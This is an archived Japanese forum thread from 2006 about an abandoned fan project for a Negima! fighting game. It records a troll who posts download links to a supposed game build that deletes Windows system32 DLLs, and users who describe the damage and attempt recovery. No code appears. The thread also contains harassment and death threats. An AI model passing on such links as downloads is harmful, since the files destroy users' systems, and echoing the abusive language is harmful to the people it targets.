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ネギま!の格ゲーを作るスレ

1 :名前は開発中のものです。:2006/10/28(土) 21:49:55 ID:T0yl4aFg
テンプレとか何かあったら貼ってくれ

2 :名前は開発中のものです。:2006/10/28(土) 21:53:08 ID:x447dp+O
2get

3 :名前は開発中のものです。:2006/10/28(土) 22:05:27 ID:fJLWJtwN
>>1
乙。どうせ立てるならせめてスレタイに「2」つけるとか前スレくらい貼るとかして欲しかったが…
ま、些細なことかな。

前スレ
http://pc8.2ch.net/test/read.cgi/gamedev/1125739113/

4 :名前は開発中のものです。:2006/10/28(土) 22:10:19 ID:T0yl4aFg
あ、忘れてた
スマソ

5 :名前は開発中のものです。:2006/10/28(土) 22:12:55 ID:aS3HZQpV
97氏は生きてるかな?
それともこの現状に愛想尽かしてどっかいっちゃったかな?

6 :名前は開発中のものです。:2006/10/28(土) 22:19:31 ID:fJLWJtwN
まとめwiki
http://www16.atwiki.jp/negima_97/pages/1.html

忘れてた。

7 :名前は開発中のものです。:2006/10/29(日) 00:36:26 ID:EvhSscdE
・何もしない数字コテ、馴れ合いコテ、厨はスルーかNG推奨

8 :名前は開発中のものです。:2006/10/29(日) 00:43:16 ID:xukdzf4m
何もしない口ばっかりの荒らしは自殺推奨

9 :名前は開発後のものです。:2006/10/29(日) 00:44:08 ID:xukdzf4m


10 :名前は開発後のものです。:2006/10/29(日) 00:45:25 ID:xukdzf4m


11 :706:2006/10/29(日) 00:46:03 ID:xukdzf4m


12 :782:2006/10/29(日) 00:47:01 ID:xukdzf4m


13 :97:2006/10/29(日) 00:50:29 ID:0ubNc9eZ


14 :ダル痴。:2006/10/29(日) 00:51:35 ID:0ubNc9eZ


15 :275:2006/10/29(日) 00:52:26 ID:0ubNc9eZ


16 :名前は開発中のものです。:2006/10/29(日) 01:27:26 ID:xukdzf4m
そう続けるかw

17 :706:2006/10/29(日) 01:57:18 ID:xukdzf4m
そう続けるかw

18 :名前は開発中のものです。:2006/10/29(日) 01:58:09 ID:9QVcg/bb
志村〜、ID、ID。

19 :275:2006/10/29(日) 01:58:22 ID:xukdzf4m
1000ゲット!

20 :名前は開発中のものです。:2006/10/29(日) 01:59:27 ID:xukdzf4m
2chで使える串紹介してけろ

21 :名前は開発中のものです。:2006/10/29(日) 01:59:52 ID:8PjBJia4
埋め。

22 :名前は開発中のものです。:2006/10/29(日) 02:39:55 ID:xukdzf4m

さっさと埋めないと

23 :名前は開発中のものです。:2006/10/29(日) 10:23:48 ID:EvhSscdE
>>9-22自演乙

24 :名前は開発中のものです。:2006/10/29(日) 10:29:54 ID:jeMMtd+D
あーあ、やっぱり粘着に変身しちまった
だから触らないようにしてたのに

25 :名前は開発中のものです。:2006/10/29(日) 12:48:37 ID:xukdzf4m
>>23
ID見ろ。あひゃ野郎

26 :名前は開発中のものです。:2006/10/29(日) 12:55:03 ID:f5+DYK69
635 名前:97 ◆5kNrmz.36U [sage] 投稿日:2006/09/18(月) 22:52:36 ID:SCryoRfU
 2nd Releaseうpしました。
 特に問題がなければ今回はしばらく上げておきます。
 http://gamdev.org/up/img/7610.zip
 
 >>275 ◆UZbIJBqiH6
 今回はNegi's classをBGMとして使用させて頂きました。ありがとうございます。
 
702 名前:97 ◆5kNrmz.36U [sage] 投稿日:2006/10/01(日) 18:29:19 ID:OWJXHYGM
 config対応しました。
 game内容は何も変わってないです。
 差分だけなので7610.zipに上書きしてください。
 http://gamdev.org/up/img/7727.zip


27 :名前は開発中のものです。:2006/10/29(日) 14:32:45 ID:YVC92qWe
作ってみようと思うんだが
前スレで上がってた曲は使っていいのか?

28 :名前は開発中のものです。:2006/10/29(日) 14:56:57 ID:f5+DYK69
とりあえず曲無しでいいんじゃない?

29 :名前は開発中のものです。:2006/10/29(日) 15:08:33 ID:XvokpC+f
ここには絵師はいないのか?
絵があればつくるんだが

30 :名前は開発中のものです。:2006/10/29(日) 15:41:58 ID:04wNBGy3
格ゲーで一番大変なのは絵だからな

31 :名前は開発中のものです。:2006/10/29(日) 16:00:40 ID:nENsCIht
自分で描くなり、どこかから拾ってくるなりした仮の絵で開発すればいいじゃないか。
仕様が決まらなきゃ描く方も困るだろ。

32 :名前は開発中のものです。:2006/10/29(日) 19:44:32 ID:YVC92qWe
動かす絵がないとモチベーション上がらないよな

33 :名前は開発中のものです。:2006/10/29(日) 19:46:27 ID:nENsCIht
そんなん知るかw

34 :名前は開発中のものです。:2006/10/29(日) 20:05:25 ID:xukdzf4m
>>29
706と同じように叩かれるよw

35 :名前は開発中のものです。:2006/10/29(日) 21:43:09 ID:xukdzf4m
どうやらwikiでは終わったことになってるみたいだね・・・

36 :名前は開発中のものです。:2006/10/29(日) 22:11:45 ID:EvhSscdE
706とその愉快な仲間たちはやりすぎたんだ。

37 :名前は開発中のものです。:2006/10/29(日) 22:28:40 ID:xukdzf4m
まあ706がプログラムを上げに帰ってくるとこを願おうじゃないか
やる気満々だったみたいだし

38 :名前は開発中のものです。:2006/10/30(月) 04:44:46 ID:8xCvKDBK
4時44分44秒を狙うスレ

39 :名前は開発中のものです。:2006/10/30(月) 04:45:55 ID:8xCvKDBK
ああ! 2秒遅れたorz
また明日に持ち越しか・・・

40 :名前は開発中のものです。:2006/10/30(月) 04:46:48 ID:8xCvKDBK
おっ!4時45分55秒ゲット!

41 :名前は開発中のものです。:2006/10/30(月) 08:46:39 ID:cg8rvKrg
VIPでやれ

42 :名前は開発中のものです。:2006/10/30(月) 21:25:26 ID:8xCvKDBK
VIP?なにそれ?

43 :ダル痴。:2006/10/30(月) 22:24:14 ID:1RTiPR/9
なんだ、結局は私が居なきゃ駄目なのか?

44 :ダル痴。:2006/10/31(火) 01:50:04 ID:GaejDOG0
返事が無いなら行っちゃうよ?
絵師が居ないと何もできないんだろw

45 :名前は開発中のものです。:2006/10/31(火) 09:11:03 ID:dZNe8pty
ttp://hoshinohate.com/gallery/rakugaki/neta_101.htm

46 :名前は開発中のものです。:2006/10/31(火) 10:15:33 ID:or5PWDh5
ドット絵とかめっちゃあるジャン

47 :ダル痴。:2006/10/31(火) 11:53:59 ID:WVGDfmg8
前に出たドット絵サイトの絵だろ?
1キャラに数枚しかなかったから格ゲが作れるとは到底思えない

48 :名前は開発中のものです。:2006/10/31(火) 16:22:46 ID:xMjqYQZg
NG:ダル痴

49 :名前は開発中のものです。:2006/10/31(火) 21:21:39 ID:aRW9e9xR
哀れですね

50 :名前は開発中のものです。:2006/10/31(火) 21:24:27 ID:01FXmXib


51 :名前は開発中のものです。:2006/10/31(火) 21:25:07 ID:01FXmXib


52 :名前は開発中のものです。:2006/10/31(火) 21:26:06 ID:01FXmXib


53 :名前は開発中のものです。:2006/10/31(火) 21:27:35 ID:01FXmXib


54 :名前は開発中のものです。:2006/10/31(火) 21:27:57 ID:oYnoizLQ
ちょっと前通りますよ

55 :名前は開発中のものです。:2006/10/31(火) 21:29:40 ID:MTYfmvAw
ノーーーーーーーーーーーーーー!!!

まあいいか。続きお願いね



56 :名前は開発中のものです。:2006/10/31(火) 21:35:09 ID:hQ1Bad+v


57 :名前は開発中のものです。:2006/10/31(火) 21:37:17 ID:wycSw08e


58 :名前は開発中のものです。:2006/10/31(火) 21:37:51 ID:SbWXKkdr


59 :名前は開発中のものです。:2006/10/31(火) 21:40:09 ID:vs5AHB25


60 :名前は開発中のものです。:2006/10/31(火) 21:41:12 ID:vs5AHB25
 合 体 !!

う ど す ず き

61 :ダル痴。:2006/10/31(火) 21:42:19 ID:10R2VIKa
 合 体 !!

お ま え ら う ど す ず き

だろ

62 :ダル痴。:2006/10/31(火) 21:45:45 ID:10R2VIKa
>>48
>NG:ダル痴
次規制したら頃すよ

63 :名前は開発中のものです。:2006/10/31(火) 21:46:43 ID:gl7LdCef


64 :名前は開発中のものです。:2006/10/31(火) 21:58:18 ID:gl7LdCef

&嶂、Cス9;DュレJロー罎ョFゥェイョ

65 :名前は開発中のものです。:2006/10/31(火) 22:43:50 ID:xMjqYQZg
NG:ダル痴

66 :ダル痴。:2006/10/31(火) 23:04:29 ID:10R2VIKa
規制はされてないか

67 :ダル痴。:2006/10/31(火) 23:05:21 ID:10R2VIKa
よし。規制なし

68 :名前は開発中のものです。:2006/10/31(火) 23:53:18 ID:5NiJSSg9
専用ブラウザでダル痴をNGワードに登録した。

69 :ダル痴。:2006/11/01(水) 00:25:22 ID:POSmiEYw
ここの板の奴はひどいな。
まあ規制されてないだけましか。どうせ規制はすぐ解除されるし

70 :名前は開発中のものです。:2006/11/01(水) 00:26:53 ID:qnoQuT85
>>69
いいから自分の家に帰りなさい

71 :ダル痴。:2006/11/01(水) 00:34:29 ID:POSmiEYw
おっ!
ダル痴で検索したら前スレが引っかかったよw
俺って有名だなぁ
次規制したら怒るが絵を描いてあげよう

72 :名前は開発中のものです。:2006/11/01(水) 00:52:40 ID:C5osQ3T7
そりゃ引っ掛かるだろうに

73 :名前は開発中のものです。:2006/11/01(水) 01:08:35 ID:pyOuhuz3
NG:ダル痴

74 :名前は開発中のものです。:2006/11/01(水) 01:57:54 ID:DRbZWq8h
本当にダル痴はNGだなw
流れ的に別の画像で格ゲ作って見せればいいんだな?
過去のを適当にうpするからまっとれ

75 :名前は開発中のものです。:2006/11/01(水) 02:08:41 ID:DRbZWq8h
ttp://www.uploda.org/uporg566742.zip.html
パスはメル欄に

76 :名前は開発中のものです。:2006/11/01(水) 02:33:02 ID:O1MGTX14
>>75
NG:daruchiでいいのか?なんかエラーみたいなのが出たが
時間のせいか?

77 :名前は開発中のものです。:2006/11/01(水) 08:58:30 ID:3yaj0cw6
>>75
内部エラーが発生しました(38)

78 :名前は開発中のものです。:2006/11/01(水) 09:19:06 ID:99+0l47D
同じく内部エラー

79 :名前は開発中のものです。:2006/11/01(水) 09:22:37 ID:OOiavtIq
同じく内部エラー

80 :名前は開発中のものです。:2006/11/01(水) 17:50:44 ID:p5RsEJqs
ttp://www.uploda.org/uporg567155.zip.html
DirectXの初期化にミスったのかも。修正版うp

81 :名前は開発中のものです。:2006/11/01(水) 17:52:56 ID:p5RsEJqs
まだ1個目を起動してない奴は一応両方試してくれ

82 :名前は開発中のものです。:2006/11/01(水) 17:55:06 ID:pyOuhuz3
起動するな
システムファイルを削除しようとする

83 :名前は開発中のものです。:2006/11/01(水) 17:59:15 ID:Dcg9XXYj
新手の新人つぶしキター
システムファイルが潰されたら書き込みできないだろうに
ってことでウイルスバスターも反応しないので起動してみまつ

84 : ◆57U1O5h1BM :2006/11/01(水) 18:05:03 ID:XaiXEvxM
やめろ起動するな!
system32内のdllをdelコマンド使って削除するプログラムっぽい。
まんまと俺はひっかかっちまいますたOTL
これってWINXPのCDからファイルコピってくらいばおkだよね?

85 :名前は開発中のものです。:2006/11/01(水) 18:15:53 ID:pyOuhuz3
>>83
ウイルスバスターを過信するなよ

>>84
最悪再インスコだな

86 :名前は開発中のものです。:2006/11/01(水) 18:25:29 ID:9nF0Un7r
つーか、一個目はなんだったの?
俺も内部エラーで終わったけど・・・

87 :名前は開発中のものです。:2006/11/01(水) 18:26:04 ID:SLzH0NSV
これは通報しますた

88 : ◆57U1O5h1BM :2006/11/01(水) 18:31:52 ID:XaiXEvxM
こりゃどうも回復コンソールじゃ一個一個dllコピーするしかないっぽい。
面倒だから起動するPCのsystem32をまるごとXCOPYコマンドでコピることにします。

89 : ◆57U1O5h1BM :2006/11/01(水) 19:06:51 ID:XaiXEvxM
system32内すべてコピーしたけど起動しない、
MBRも削除されてるくさいです。
回復コンソールからfixmbrでたぶんいけると思う。

90 :名前は開発中のものです。:2006/11/01(水) 19:21:29 ID:aKSD/baH
ツクールスレの連中が来てからろくなもんじゃないな

91 :ダル痴:2006/11/01(水) 19:30:23 ID:E7aMgCbl
当然の報いだなw
誰か知らんが規制したせいで他の奴らも板に書き込めないとずいぶん怒ってたよw


92 :名前は開発中のものです。:2006/11/01(水) 19:33:08 ID:4y77DkmF
>>89
ガチで?
>>75>>80どっち?

93 :名前は開発中のものです。:2006/11/01(水) 19:44:45 ID:pyOuhuz3
75がC:\WINDOWS\system32、
80がC:\WINNT\system32のDLLを標的にすると思う。

94 :名前は開発中のものです。:2006/11/01(水) 19:46:53 ID:MmPOMA4a
前スレで706と名乗っていた者です。
前スレでのことは深く反省しております。
ネギまの2D格ゲを作りたいという思いは強いので邪魔にならないように居させてもらいます。

っで、本題に戻りますが、こんな事件が起こってしまったのではファイルを安心して展開できませんね。
どうやら文面からウイルスではなく、手作業でシステム破壊するプログラムのようです。
逆コンパイルとかで中身を確認できないのでしょうか?
他人が実行して大丈夫なら実行とかいうのは人間としてクズになってしまうので何か確認方法が欲しい。

>つーか、一個目はなんだったの?
>俺も内部エラーで終わったけど・・・
もしかしたら1個目もシステムを壊すプログラムで、自分で実行なんてできないのでエラーが出るか
確認できなかったのでは?

>これは通報しますた
91のダル痴の仕業と考えていいか?
こういう場合、どこに通報すべきか教えてくれ。

95 : ◆57U1O5h1BM :2006/11/01(水) 19:53:22 ID:XaiXEvxM
どうもfixmbrもやったけど起動しない。
Windowのメンテナンスメニューが出てセーフモードでやっても
途中まで読み込んでそのあとはカーソルが左上に点滅してるだけで
ずっとそのまま。

恐らくだけどやっぱ別PCからだとドライバとか違うからエラー起こして
起動しないのかも。

96 :名前は開発中のものです。:2006/11/01(水) 19:56:01 ID:4y77DkmF
まじかよ・・・

97 : ◆57U1O5h1BM :2006/11/01(水) 19:58:31 ID:XaiXEvxM
最初の方はコマンドプロンプト出てきたとき
dllでも読み込んでるのかなーとか思ってちょいと眺めてたが
よく見てみたらdelコマンドでsystem32の内部消してるじゃんって
結局最初の方見ていないからもしかすると他のファイルも消されてるかもしれません。

誰か他のファイルどれけされてるかわかる人いる?

98 : ◆57U1O5h1BM :2006/11/01(水) 20:02:11 ID:XaiXEvxM
とりあえず他のデータなんかは別に消えてるわけじゃないから
Windowを(Cドライブ)を再インストールすれば、とりあえず平気。

Cドライブとかに重要なファイルがある場合はバックアップをとっておく。
自分の場合こういう事態にそなえてデータなんかはDドライブにいれて
Cはなるべくシステムオンリーにするようにしてる。

99 :名前は開発中のものです。:2006/11/01(水) 20:06:37 ID:4y77DkmF
今再起動してけど普通にWindows起動したぜ?
最初のやつ開くときにエラーが出たからまともに動かなかったのか・・・、
それともネタなのか?俺釣られた?
どっちだったとしてもまともに動いて良かった(´Д`)

100 :名前は開発中のものです。:2006/11/01(水) 20:13:48 ID:pyOuhuz3
エラーが出たならそもそも実行されてないだろw
>>80を実行して無いなら取り越し苦労だよ

101 : ◆57U1O5h1BM :2006/11/01(水) 20:18:19 ID:XaiXEvxM
>>75はエラーで起動しなかった。
>>80はコマンドプロンプトがでてきてずらーっと削除されまくる。

102 :名前は開発中のものです。:2006/11/01(水) 20:21:54 ID:9nF0Un7r
ソースに何かアホな情報残ってないかなーと思ったけど、HSP製位しかわからんね。
俺の場合はsystem32の場所が違うから、動かなかったんかな?
つか、内部エラーが発生しました(38)ってDLL無い時のエラーか
俺だったらもっとうまく作るのになぁ・・・勿論やらないけど

103 : ◆57U1O5h1BM :2006/11/01(水) 20:32:17 ID:XaiXEvxM
HSP2.6なら逆コンパイルツールあった。
一応これでもHSP暦2年だったりするから見ればわかるかも。

104 :名前は開発中のものです。:2006/11/01(水) 20:34:14 ID:MmPOMA4a
hsp3devって書いてあるからhsp3製だと思う。

105 : ◆57U1O5h1BM :2006/11/01(水) 20:36:29 ID:XaiXEvxM
確か3用の逆コンパイルツールはなかったなぁ・・・。
中間言語だからある程度わかるみたいだけど、その知識はないOTL

106 :名前は開発中のものです。:2006/11/01(水) 20:45:44 ID:MmPOMA4a
話それてすまぬが自分が使ってる言語はHSP。
よくHSP厨って叩かれるみたいだけどそんなにHSPってダメなのか?だから言語名言わなかったが
今までHSPでゲーム作ってきたが3Dでも動作が遅いってことは無かった。
Cより処理が遅いと聞いたけど2D格ゲを作るには全く問題ないとも聞いた。

それと何度もすまんが80はどこへ通報すべき?

107 : ◆57U1O5h1BM :2006/11/01(水) 20:48:28 ID:XaiXEvxM
>>106
HSPはソースが膨大になってくるとだんだんごちゃごちゃしてくる。
モジュール定義で組んでいけばある程度きれいにできるけど
やっぱりあれは使いづらい。

108 :名前は開発中のものです。:2006/11/01(水) 20:56:00 ID:aKSD/baH
>>106
やっと判明か
HSPが悪いダメなわけじゃない、HSP厨が叩かれるだけ

109 :名前は開発中のものです。:2006/11/01(水) 20:56:04 ID:9nF0Un7r
>>106
俺はC++とDirectXしか知らん某コテだけど、別に動けば言語なんて何でもいいんじゃね?

それはともかく通報するならここ
ttp://www.cybersafety.go.jp/

110 :名前は開発中のものです。:2006/11/01(水) 20:58:10 ID:4y77DkmF
うほっ!ガチだったのか!?エラー出て良かった(´Д`)
ネギまの格ゲー製作がんばってください。


111 :名前は開発中のものです。:2006/11/01(水) 21:08:17 ID:MmPOMA4a
>>107
たしかにごちゃごちゃしてきて、一気に作らないとわからなくなってしまうw
他のゲームを作るときに手間が省けるようにルーチンをモジュール化

>>108
そうか、別にHSPが悪いわけじゃないのか。
今まで言語名はぐらかしてスマソ

>>109
ネット用の110番があったのか。dクス
2chの運営に通報ってのも意味あるのかな?

もしかしたらPCが逝ってレスをかけない人が何人か居るかも・・・

112 : ◆57U1O5h1BM :2006/11/01(水) 21:08:56 ID:XaiXEvxM
結局無理そうなので手っ取り早くバックアップCD使ってCドライブだけ
購入初期状態に戻す事にしました。
まぁWindowsもまたまっさらだし速度も上がるからいいかOTL
レイジストリのバックアップ取っておきゃよかったよ・・・。

113 : ◆57U1O5h1BM :2006/11/01(水) 21:13:16 ID:XaiXEvxM
>>111
別にHSPがきらいだとかそういうわけじゃなくて
前に二人でソース弄って開発しようとしたときにごちゃごちゃで
やっぱHSPは共同開発向いてないなぁという経験をしてたので。
自分も元HSPユーザーだったし、あれは初めてやるには良い言語だと思う。

114 :名前は開発中のものです。:2006/11/02(木) 01:09:16 ID:KHHHj30n
>>113
確かに複数人でやるには他の言語の方がいいな。
それでPCの方は大丈夫?

プロンプトが出てきて削除するってことはbat形式で出力して実行したのか?
中断したのならどこかにbatが残ってるはず。
プログラム内に危険なスクリプトが入ってるわけじゃないから確認のしようがないな・・・

ダル痴。を調べたら、相当悪い自演荒らしらしい。
叩かれたり、プロバ規制されたのに腹を立ててやった可能性が高いような

115 :名前は開発中のものです。:2006/11/02(木) 09:14:27 ID:phPbBw8H
ダル痴は格闘ゲームツクールスレのコテ
そこのアンチ住人が騙りを始めただけ
ま、偽者に紛れた本物な可能性もゼロとは言わんが
どの道ツクールスレの住人が糞なだけ

116 :名前は開発中のものです。:2006/11/02(木) 17:44:07 ID:2IKzZw0C
>プロンプトが出てきて削除するってことはbat形式で出力して実行したのか?
>中断したのならどこかにbatが残ってるはず。
>プログラム内に危険なスクリプトが入ってるわけじゃないから確認のしようがないな・・・

>>114がプログラムできなさそうなのは分かった

117 :名前は開発中のものです。:2006/11/02(木) 18:13:26 ID:KHHHj30n
>>116
なぜそうなるw
HSPで窓消して実行するなら途中で止めれないがDOS窓が出てるならbatを実行した可能性もある。
もしHSPからプロンプトに命令を送ってるならプロンプトを閉じただけじゃ中断できないはず。
自分でやってみたところ20行以内で作れた。

簡単に使える言語だからこういうソフトも簡単に作れるのでいろんな意味で怖いな

118 :名前は開発中のものです。:2006/11/02(木) 18:19:03 ID:hBmOTth9
>>117>>116に釣られた

119 :名前は開発中のものです。:2006/11/02(木) 18:29:14 ID:pOKzl3XB
HSPは窓消さなくても単体でコンソールプログラム作れるじゃん
20行も要らないだろ

120 :名前は開発中のものです。:2006/11/02(木) 18:37:28 ID:KHHHj30n
>>119
そうか、コンソールをすっかり忘れてたorz
コンソールにもファイルって埋め込めたっけ?
プログラムの内容で考えれば実行ファイルの容量は大きすぎる。

121 : ◆57U1O5h1BM :2006/11/02(木) 18:40:21 ID:c6TZZEuE
HSPは実行するとき埋め込んであるstart.axを起動するから
別に無駄にファイルいれたりとかできる。

122 :名前は開発中のものです。:2006/11/02(木) 18:51:11 ID:KHHHj30n
コンソールにもファイルを埋め込めるのなら偽装で埋め込んだのだろうな。
この先UPされたファイルはどうやって確認すべきか

123 :名前は開発中のものです。:2006/11/02(木) 20:24:55 ID:fc6nkil1
せっかくだしネギま!のウイルスを作るスレにするか?w

124 :名前は開発中のものです。:2006/11/02(木) 21:07:03 ID:o5gyexWp
>>123 コラw

125 :名前は開発中のものです。:2006/11/02(木) 22:34:43 ID:2i0Z2Lqg
あのハルヒウイルスの亜種か

126 :名前は開発中のものです。:2006/11/03(金) 04:50:28 ID:QH2yavD1
ネギま!の格ゲかと思わせといてキャラ選択後の偽ロードの合間にデータをクラッシュ。

冗談だよ、作らないよ、捕まりたくないよ

127 :名前は開発中のものです。:2006/11/03(金) 05:04:03 ID:Xn5oWlsE
実行ファイルをよくみたらご丁寧にアイコンまで書き換えてるな。
80が一体何を考えてるのかわからん。
アイコンが窓のマークだと信頼性でもあるのか?

128 :名前は開発中のものです。:2006/11/03(金) 13:46:24 ID:sTl+1l+K
再インストしか手段が残されてないなら、
クラッシュしたHDDを別のPCにつなぐか、
別のHDD買ってきてそれにOSをインストールしてクラッシュした方をサブにすればデータの読み取りは出来るはず。

129 :名前は開発中のものです。:2006/11/03(金) 18:04:46 ID:kp3M5tgL
起動しても何も起こらないな


130 :名前は開発中のものです。:2006/11/03(金) 18:09:52 ID:lPboXgiQ
>>93 >>94
C:\WINDOWS\SYSTEM32というのは
WinMeのディレクトリですよ。恐ろしい・・・
95系はWINDOWS\SYSTEM32なのでは?
ちょっと来ない間にこんなになってたとは。

131 :名前は開発中のものです。:2006/11/03(金) 18:17:58 ID:Xn5oWlsE
>>130
標準命令でシステムディレクトリをサーチできるので多分1つ目はミスっただけだと思う
DLLが無い時のエラーに似てる気がする

132 :名前は開発中のものです。:2006/11/03(金) 23:44:13 ID:MGZkfGa3
性格には
Win 9x, Me, XP は C:\Windows\System32
Win 2k, NT4 は C:\WinNT\System32
だな


133 :名前は開発後のものです。:2006/11/04(土) 03:05:16 ID:ATk4zo7V
>>129が犯人

134 :名前は開発後のものです。:2006/11/04(土) 18:34:14 ID:ATk4zo7V
とりあえずコンソールだと思い込ましてる犯人乙

135 :名前は開発中のものです。:2006/11/04(土) 20:47:37 ID:LefJVBIx
次のウイルスまだー?

136 :名前は開発後のものです。:2006/11/04(土) 21:25:55 ID:ATk4zo7V
>>135
どんなのが良い?
やっぱハルヒウイルスの亜種?

137 :129:2006/11/04(土) 22:22:30 ID:BUoXAUut
>>133
ΩΩΩ<な、なんだってー!

138 :名前は開発中のものです。:2006/11/05(日) 00:18:32 ID:9Eq5DWCc
ウィルスはどうでもいいからゲーム作れよ

139 :名前は開発中のものです。:2006/11/05(日) 00:55:12 ID:6mIkFF9N
新ジャンル「ウィルス対戦格闘」

140 :名前は開発中のものです。:2006/11/05(日) 01:30:20 ID:zsMgd60u
>>139
呼んだ?
ttp://sp-game.cocolog-nifty.com/38/images/0418a.jpg

141 :名前は開発中のものです。:2006/11/05(日) 19:12:11 ID:A9lXV4Ze
前スレ706と偽ダル痴氏ね

142 :名前は開発中のものです。:2006/11/05(日) 19:20:15 ID:RIYtJygY
なんだよ偽ダル痴ってww
ダル痴って言えばHSP厨で有名な糞プログラマーやぞ?
どう考えても本物だろ
それとも偽者がやった所為にして今更責任逃れですか?www

143 :名前は開発中のものです。:2006/11/06(月) 01:30:25 ID:0iyt9RLr
>>141
ちょw前スレ706は関係ないだろwww

>>142
あれは本物っぽい予感
まさかバイナリデータからHSPで作られたのを見破られるとは思わなかったんだろうな
いちいちアイコン書き換えたりしてるしw
>>141が犯人っぽいね

144 :ダル痴。:2006/11/06(月) 17:18:58 ID:/9KW9z+t
くそ!また規制かよ。
氏ね

145 :名前は開発中のものです。:2006/11/06(月) 22:39:50 ID:/9KW9z+t
 

146 :ダル痴。:2006/11/06(月) 22:42:32 ID:/9KW9z+t
絵師居ないみたいだねw
俺が手伝ってやろうか?

147 :名前は開発中のものです。:2006/11/06(月) 22:53:38 ID:Ujanlh6L
>>80
なめてるの?
ぶっとばすよ?

148 :ダル痴。:2006/11/07(火) 04:52:52 ID:5RUVoQgf
>>147
DirectXの初期化をミスっただけでそれはひどいだろw
お前なんてプログラムも組めないし、絵も書けない馬鹿なのにw

149 :名前は開発中のものです。:2006/11/07(火) 10:28:52 ID:rTDldLNQ
>>148
DirectXの初期化にミスったとか今だに思ってるアホダル痴に乾杯!!

150 :ダル痴。:2006/11/07(火) 13:24:04 ID:5RUVoQgf
>>149
お前みたいな馬鹿は初めて見たよww
>>91が読めねえのか?
可哀想な頭してるなぁ

151 : ◆57U1O5h1BM :2006/11/07(火) 14:10:50 ID:rTDldLNQ
>>150
つまりお前が犯人と

152 :ダル痴。:2006/11/07(火) 18:11:00 ID:gXBbFYI1
>>150
なんか俺の偽者がいる・・・。

153 :名前は開発中のものです。:2006/11/07(火) 19:16:19 ID:T+nbi/s4
>>152
自演乙
他の板でもお前が犯人という結論が出てる

154 :名前は開発中のものです。:2006/11/07(火) 19:22:30 ID:xLOJQWGg
何もないとこにレスするの禁止

155 :名前は開発中のものです。:2006/11/07(火) 20:10:23 ID:DNrrSCSF


156 :ダル痴。:2006/11/07(火) 20:28:26 ID:E4zcJsD7
>>150>>152
なんか俺の偽者がいる・・・。

157 :名前は開発中のものです。:2006/11/07(火) 20:31:41 ID:kzXZqZWD
とりあえず偽者連れて出てけ

158 :名前は開発中のものです。:2006/11/07(火) 21:40:00 ID:T+nbi/s4
虫が湧いてるな

159 :名前は開発中のものです。:2006/11/08(水) 17:08:19 ID:2gKVBMBi
格ゲーツクール住人はロクでもない、ということで。

160 :名前は開発中のものです。:2006/11/08(水) 23:37:21 ID:j3llS7+1
糸冬

161 :名前は開発中のものです。:2006/11/09(木) 15:29:50 ID:kMEsnLlP
女台

162 :名前は開発中のものです。:2006/11/09(木) 18:25:23 ID:Kyb6RSln
おでん始めました

163 :名前は開発中のものです。:2006/11/09(木) 23:06:14 ID:ArPGCEB2
冷やし中華諦めました

164 :名前は開発中のものです。:2006/11/09(木) 23:17:19 ID:Kyb6RSln
ネギ間始めました

165 :名前は開発中のものです。:2006/11/09(木) 23:36:10 ID:Kyb6RSln
絵師居ないし(というかダル痴に消された)し、ゴミ野郎しか居ないし
もう終わりだな・・・

166 :名前は開発中のものです。:2006/11/09(木) 23:45:25 ID:/owOQ1qF
97氏このスレになってから来てないね。
まぁまだ2週間程度だけど。

167 :名前は開発中のものです。:2006/11/10(金) 18:38:57 ID:re+c61EU
もう駄目だな
97氏もめんどくさくなったんだろう

168 :名前は開発中のものです。:2006/11/10(金) 22:16:33 ID:CDa7n02e
なかなかうまくいかないもんだね・・

169 :名前は開発中のものです。:2006/11/11(土) 00:35:33 ID:DfSWXwM6
おいおい。
今まで続けてた、97氏の3D無視して 97氏の関係ないところで2D初めて、関係ないところで盛り上がって、
関係ないところで自滅して、関係ないところでやっぱり無理でしたとなって、
なぜ最後だけ、だから97氏も無理ってなるんだ?

170 :名前は開発中のものです。:2006/11/11(土) 01:38:29 ID:GP3ZHO5v
97氏の3Dを無視してって・・・
あの状態のまま放置したらうpうp君だらけになってたぞ。
それとここは97氏のスレじゃないので関係のないところじゃないと思うが。
しかも自滅じゃないだろう。完全にダル痴のせいで絵師が氏んだ。流れ嫁よ
無理でした。じゃなくて駄目でした。だろ?
97氏も全く顔出さないし、やめたと思われても同然。
結局は金にならないことより同人の仕事を優先して2chを捨てたんだよ

まあどっちみちこういう結末になるんだよ。
97氏がぜんぜん顔を出さない
↓           ↓
うpうp君増加   うpうp君がうるさいので2D企画を建てる
↓                        ↓
嫌気がさして97氏が消える       ダル痴。による被害で絵師その他が氏ぬ
          ↓         ↓

               糸冬


171 :名前は開発中のものです。:2006/11/11(土) 06:57:26 ID:eqWBbWoF
>>170
頭大丈夫か( ´・ω・)?

172 :名前は開発中のものです。:2006/11/11(土) 10:23:23 ID:GP3ZHO5v
>>171
それよりも自分の頭を心配した方がいいよ

173 :名前は開発中のものです。:2006/11/11(土) 10:30:28 ID:3t5GbJEl
モチツケって。
そんな煽り合いして状況悪くしてどうするん。
職人さんからの連絡を静かに待とうよ。

174 :名前は開発中のものです。:2006/11/11(土) 15:07:26 ID:+5JkD5qB
この状況でまだ先があると思えるのが凄い

175 :名前は開発中のものです。:2006/11/11(土) 22:53:24 ID:je+xg52q
腹が痛くなかったら風香書けるんだけどな

176 :名前は開発中のものです。:2006/11/12(日) 03:54:26 ID:VBQSyTVc
っで、職人からの連絡は?

177 :ダル痴。:2006/11/12(日) 20:57:51 ID:g83SdivG
呼びましたか?

178 :名前は開発中のものです。:2006/11/13(月) 00:13:47 ID:aIvGRmma
巣に帰れ

179 :名前は開発中のものです。:2006/11/13(月) 12:24:16 ID:t3snhrmF
偽ダル痴な格ゲーツクールスレ住人どもこそ巣に帰れ。

180 :ダル痴。:2006/11/13(月) 12:29:20 ID:h6LKdawQ
偽に紛れて本物も来てるんだけどね。

信じるか信じないかは好きにすればいい。

181 :名前は開発中のものです。:2006/11/13(月) 12:51:42 ID:aIvGRmma
巣に帰れ

182 :名前は開発中のものです。:2006/11/15(水) 14:31:01 ID:yEwl3bwz
竜田あげ

183 :名前は開発中のものです。:2006/11/17(金) 16:14:12 ID:KDLHA+6H
からあげ

184 :名前は開発中のものです。:2006/11/17(金) 23:06:22 ID:HiyRNfTn
だる恥って何なの!?このスレ見てみたけど、気持悪いよ、ダニみたいだし、こんな奴らが2chに蔓延ってるなんて......ブルブル

185 :名前は開発中のものです。:2006/11/18(土) 01:38:57 ID:2OI+S3No
で、結局ここは終わってるのか?

186 :名前は開発中のものです。:2006/11/18(土) 01:54:19 ID:XHi3m2oi
>>185
ダル痴乙


